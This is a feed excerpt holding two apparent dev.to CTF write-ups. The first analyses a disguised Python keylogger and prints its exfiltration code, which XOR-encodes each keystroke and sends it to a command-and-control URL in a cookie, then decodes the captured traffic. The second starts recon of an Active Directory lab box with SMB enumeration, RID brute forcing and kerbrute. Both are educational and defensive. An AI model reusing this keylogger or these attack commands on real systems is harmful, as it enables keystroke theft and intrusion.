    &lt;span class="n"&gt;encrypted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw_bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;getkey&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;utf-8&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;b64_string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encrypted&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;utf-8&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;User-Agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Cookie&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hotel_sess_state=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;b64_string&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;C2_URL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;on_press&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;sendltr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;char&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;AttributeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Key&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;space&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;sendltr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Key&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;enter&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;sendltr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Byte Lotus Sync Service started...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;keyboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Listener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;on_press&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;on_press&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;listener&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;listener&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirms the theory: this is a &lt;code&gt;pynput&lt;/code&gt;-based keylogger disguised as a&lt;br&gt;
"hotel sync service." Every keypress is:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Grabbed individually (&lt;code&gt;character&lt;/code&gt; is a single char).&lt;/li&gt;
&lt;li&gt;XORed against the key &lt;code&gt;H0t3lSt@ff0NlyK3epS3cr3t!&lt;/code&gt; (&lt;code&gt;p1 + p2&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Base64-encoded.&lt;/li&gt;
&lt;li&gt;Smuggled out as the value of a &lt;code&gt;hotel_sess_state&lt;/code&gt; cookie on a &lt;code&gt;GET /&lt;/code&gt;
to the C2.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The key detail for decoding: because &lt;code&gt;sendltr()&lt;/code&gt; is called &lt;strong&gt;once per&lt;br&gt;
character&lt;/strong&gt;, &lt;code&gt;raw_bytes&lt;/code&gt; is always length 1. That means the XOR loop&lt;br&gt;
&lt;code&gt;key[i % len(key)]&lt;/code&gt; only ever uses index &lt;code&gt;i = 0&lt;/code&gt;, i.e. &lt;strong&gt;every exfiltrated&lt;br&gt;
byte is XORed with just the first character of the key, &lt;code&gt;'H'&lt;/code&gt; (0x48)&lt;/strong&gt; — the&lt;br&gt;
rest of the 25-byte key is never actually used. That simplifies decoding a&lt;br&gt;
lot.&lt;/p&gt;
&lt;h2&gt;
  
  
  3. Pulling the exfil cookies
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;tshark &lt;span class="nt"&gt;-r&lt;/span&gt; traffic.pcapng &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"http.request.method==GET"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="go"&gt;  -T fields -e http.cookie \
  | grep hotel_sess_state \
&lt;/span&gt;&lt;span class="gp"&gt;  | sed 's/hotel_sess_state=//' &amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cookies.txt
&lt;span class="go"&gt;
&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; cookies.txt
&lt;span class="go"&gt;30 cookies.txt
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Sample of what's captured, in packet order (each line = one keystroke sent&lt;br&gt;
seconds apart from frame 391 onward):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HA==
AA==
BQ==
Mw==
Hg==
ew==
...
NQ==
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  4. Decoding
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;

&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;H0t3lSt@ff0NlyK3epS3cr3t!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cookies.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;
        &lt;span class="n"&gt;raw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="nf"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])))&lt;/span&gt;   &lt;span class="c1"&gt;# only key[0] ('H') is ever used
&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;python3 decode.py
&lt;span class="go"&gt;THM{[REDACTED]}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The 30 exfiltrated bytes reassemble in capture order to spell out the flag&lt;br&gt;
directly — the "victim" was literally typing the flag on their keyboard&lt;br&gt;
while the keylogger phoned it home one character at a time.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{[REDACTED]}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Key vulnerabilities / weaknesses exploited (for detection writeups)
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Weakness&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Plaintext HTTP C2 channel&lt;/td&gt;
&lt;td&gt;Keylogger exfil travels over unencrypted HTTP; fully visible in a pcap.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Weak, hardcoded, effectively single-byte XOR "encryption"&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;xor()&lt;/code&gt; is correct in general, but because each HTTP request carries only one character, &lt;code&gt;key[i % len(key)]&lt;/code&gt; collapses to &lt;code&gt;key[0]&lt;/code&gt; every time — the 25-byte key is decorative.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Predictable exfil channel&lt;/td&gt;
&lt;td&gt;Cookie header on a fixed URI (&lt;code&gt;GET /&lt;/code&gt;) makes the beacon trivially greppable in traffic (&lt;code&gt;hotel_sess_state=&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Social-engineering delivery&lt;/td&gt;
&lt;td&gt;Payload was served as &lt;code&gt;/temp/updates.py&lt;/code&gt; from a spoofed "hotel update server," downloaded via a normal browser GET — no exploit needed, just a convincing filename/host.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Attack chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attacker C2 (byte-lotus-hotel.thm / 34.41.103.191:8080)
        │
        │ 1. Victim browses to /temp/updates.py (Chrome GET, frame 16)
        ▼
Victim host (192.168.1.141)
        │
        │ 2. updates.py executed -&amp;gt; pynput keyboard.Listener starts
        │    "[*] Byte Lotus Sync Service started..."
        ▼
Every keystroke
        │
        │ 3. XOR(char, "H0t3lSt@ff0NlyK3epS3cr3t!")  (only key[0] used, single-char msgs)
        │ 4. base64 encode
        │ 5. GET / with Cookie: hotel_sess_state=&amp;lt;b64&amp;gt;  (custom UA: ByteLotusClient/1.1)
        ▼
Attacker C2 receives exfil, one keystroke per request (frames 391–1310)
        │
        ▼
Analyst reassembles cookies in packet order -&amp;gt; decodes -&amp;gt; flag
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Treat unsigned "update" scripts served over plain HTTP from unfamiliar
hosts as untrusted; verify code signing / hashes before execution.&lt;/li&gt;
&lt;li&gt;EDR/host monitoring for processes registering global keyboard hooks
(&lt;code&gt;pynput&lt;/code&gt;, &lt;code&gt;SetWindowsHookEx&lt;/code&gt;, etc.) outside of known accessibility tools.&lt;/li&gt;
&lt;li&gt;Network egress monitoring for beacon-like patterns: fixed-interval GETs to
the same host/path with data hidden in headers (Cookie/User-Agent) rather
than the body.&lt;/li&gt;
&lt;li&gt;Enforce HTTPS/TLS interception or at least alerting on any outbound HTTP
(not HTTPS) to non-allow-listed hosts, since it makes this kind of exfil
trivially visible to anyone with pcap access (as it was here).&lt;/li&gt;
&lt;li&gt;Rotate/derive per-message keystream material properly (e.g. real stream
cipher or per-message nonce) if attackers want their own "crypto" to
actually resist analysis — not that we're endorsing that goal.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>tryhackme</category>
      <category>ctf</category>
      <category>writeup</category>
    </item>
    <item>
      <title>TryHackMe : Enterprise Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Fri, 24 Jul 2026 09:18:14 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-enterprise-writeup-omj</link>
      <guid>https://dev.to/exploitnotes/tryhackme-enterprise-writeup-omj</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Enterprise is an Active Directory box that starts as a classic external AD footprint (DNS, Kerberos, LDAP, SMB, RDP, WinRM) plus two extra web ports: an IIS site on 80 and a Bitbucket-branded login page on 7990 that turns out to actually be a copy of Atlassian's real hosted login page, complete with a company-specific banner announcing a move to GitHub. That banner is the real hint - Google dorking for the company name against &lt;code&gt;site:github.com&lt;/code&gt; turns up a public GitHub org for the company, and digging through commit history in one of its repos (a PowerShell AD management script) surfaces a hardcoded, later-"removed" username and password that were never actually purged from git history.&lt;/p&gt;

&lt;p&gt;Those first credentials (&lt;code&gt;nik&lt;/code&gt;) don't get a shell directly, but they're enough to Kerberoast the domain and pull a service ticket for a &lt;code&gt;bitbucket&lt;/code&gt; service account, whose password cracks easily with rockyou. &lt;code&gt;bitbucket&lt;/code&gt; turns out to be a member of &lt;em&gt;Remote Desktop Users&lt;/em&gt;, so RDP lands an interactive session and the user flag. From there, manual enumeration of &lt;code&gt;Program Files (x86)&lt;/code&gt; (deliberately done by hand instead of an automated tool like WinPEAS, to actually understand what's being looked at) turns up a leftover ZeroTier install whose service folder is writable by &lt;code&gt;BUILTIN\Users&lt;/code&gt; while the service itself runs as &lt;code&gt;LocalSystem&lt;/code&gt; - a textbook writable-service-binary privilege escalation. Overwriting the service binary with a payload and restarting the service pops a SYSTEM shell and the root flag; the same weakness can also be abused "the PowerUp way" to just add a new local administrator instead.&lt;/p&gt;

&lt;p&gt;IPs are referred to below as &lt;code&gt;machine-ip&lt;/code&gt; (the TryHackMe target - it changed a couple of times across the session as the VPN reset) and &lt;code&gt;attacker-ip&lt;/code&gt; (the Kali box).&lt;/p&gt;




&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Nmap - top ports
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; machine-ip &lt;span class="nt"&gt;-o&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Nmap scan report for machine-ip
Host is up (0.047s latency).
Not shown: 988 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: "Site doesn't have a title (text/html)."
| http-methods:
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ENTERPRISE.THM, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=LAB-DC.LAB.ENTERPRISE.THM
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: "Not Found"

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Standard Windows Server / DC fingerprint: Kerberos, LDAP, SMB with signing required, RDP, WinRM. Domain is &lt;code&gt;ENTERPRISE.THM&lt;/code&gt;, DC hostname &lt;code&gt;LAB-DC.LAB.ENTERPRISE.THM&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Full port scan
&lt;/h3&gt;

&lt;p&gt;The top-1000 scan is missing a lot on a box like this, so a full TCP sweep with rustscan/nmap was worth doing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; machine-ip
nmap &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-p53&lt;/span&gt;,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,7990,9389,47001,49664,... &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-oA&lt;/span&gt; enterprise_scan machine-ip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key findings from the full scan&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;53/tcp    open   domain
80/tcp    open   http          Microsoft IIS httpd 10.0
88/tcp    open   kerberos-sec
135/tcp   open   msrpc
139/tcp   open   netbios-ssn
389/tcp   open   ldap
445/tcp   open   microsoft-ds
464/tcp   open   kpasswd5
593/tcp   open   ncacn_http
636/tcp   open   tcpwrapped
3268/tcp  open   ldap          (Global Catalog)
3269/tcp  open   tcpwrapped    (Global Catalog SSL)
3389/tcp  open   ms-wbt-server
5985/tcp  open   http          (WinRM)
7990/tcp  open   http          Microsoft IIS httpd 10.0
|_http-title: "Log in to continue - Log in with Atlassian account"
9389/tcp  open   mc-nmf        .NET Message Framing (ADWS)
47001/tcp open   http
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Port &lt;strong&gt;7990&lt;/strong&gt; was the interesting one the top-1000 scan had missed entirely - that's the default port for Bitbucket Server, and its title claims to be an Atlassian login page.&lt;/p&gt;

&lt;h3&gt;
  
  
  SMB null / guest session
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;
nxc smb machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; guest &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;
nxc smb machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; guest &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="nt"&gt;--shares&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SMB   machine-ip   445   LAB-DC   Windows 10 / Server 2019 Build 17763 x64 (domain:LAB.ENTERPRISE.THM) (signing:True) (SMBv1:None) (Null Auth:True)
SMB   machine-ip   445   LAB-DC   LAB.ENTERPRISE.THM\guest:

Share           Permissions     Remark
-----           -----------     ------
ADMIN$                          Remote Admin
C$                               Default share
Docs            READ
IPC$            READ            Remote IPC
NETLOGON                        Logon server share
SYSVOL                          Logon server share
Users           READ            Users Share. Do Not Touch!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Null and guest auth both work, and there's a readable &lt;code&gt;Docs&lt;/code&gt; share worth checking.&lt;/p&gt;

&lt;h3&gt;
  
  
  RID brute forcing users
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; guest &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="nt"&gt;--rid-brute&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Trimmed output - user accounts&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;500: LAB-ENTERPRISE\Administrator (SidTypeUser)
501: LAB-ENTERPRISE\Guest (SidTypeUser)
502: LAB-ENTERPRISE\krbtgt (SidTypeUser)
1000: LAB-ENTERPRISE\atlbitbucket (SidTypeUser)
1001: LAB-ENTERPRISE\LAB-DC$ (SidTypeUser)
1104: LAB-ENTERPRISE\ENTERPRISE$ (SidTypeUser)
1106: LAB-ENTERPRISE\bitbucket (SidTypeUser)
1107: LAB-ENTERPRISE\nik (SidTypeUser)
1108: LAB-ENTERPRISE\replication (SidTypeUser)
1109: LAB-ENTERPRISE\spooks (SidTypeUser)
1110: LAB-ENTERPRISE\korone (SidTypeUser)
1111: LAB-ENTERPRISE\banana (SidTypeUser)
1112: LAB-ENTERPRISE\Cake (SidTypeUser)
1116: LAB-ENTERPRISE\contractor-temp (SidTypeUser)
1117: LAB-ENTERPRISE\varg (SidTypeUser)
1119: LAB-ENTERPRISE\joiner (SidTypeUser)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Extracted a clean &lt;code&gt;users.txt&lt;/code&gt; from this list (Administrator, Guest, krbtgt, atlbitbucket, bitbucket, nik, replication, spooks, korone, banana, Cake, contractor-temp, varg, joiner) and confirmed them all as valid usernames against Kerberos with kerbrute:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kerbrute userenum &lt;span class="nt"&gt;-d&lt;/span&gt; LAB.ENTERPRISE.THM &lt;span class="nt"&gt;--dc&lt;/span&gt; machine-ip users.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All 13 non-machine accounts came back as valid, confirming the account list is accurate.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Docs share - a deliberate dead end
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;smbclient //enterprise.thm/Docs &lt;span class="nt"&gt;-N&lt;/span&gt;
mget &lt;span class="k"&gt;*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pulled down &lt;code&gt;RSA-Secured-Credentials.xlsx&lt;/code&gt; and &lt;code&gt;RSA-Secured-Document-PII.docx&lt;/code&gt;, both password-protected Office files (&lt;code&gt;file&lt;/code&gt; identified them as &lt;code&gt;CDFV2 Encrypted&lt;/code&gt;). Extracted hashes with &lt;code&gt;office2john&lt;/code&gt; and threw rockyou at them with &lt;code&gt;john&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
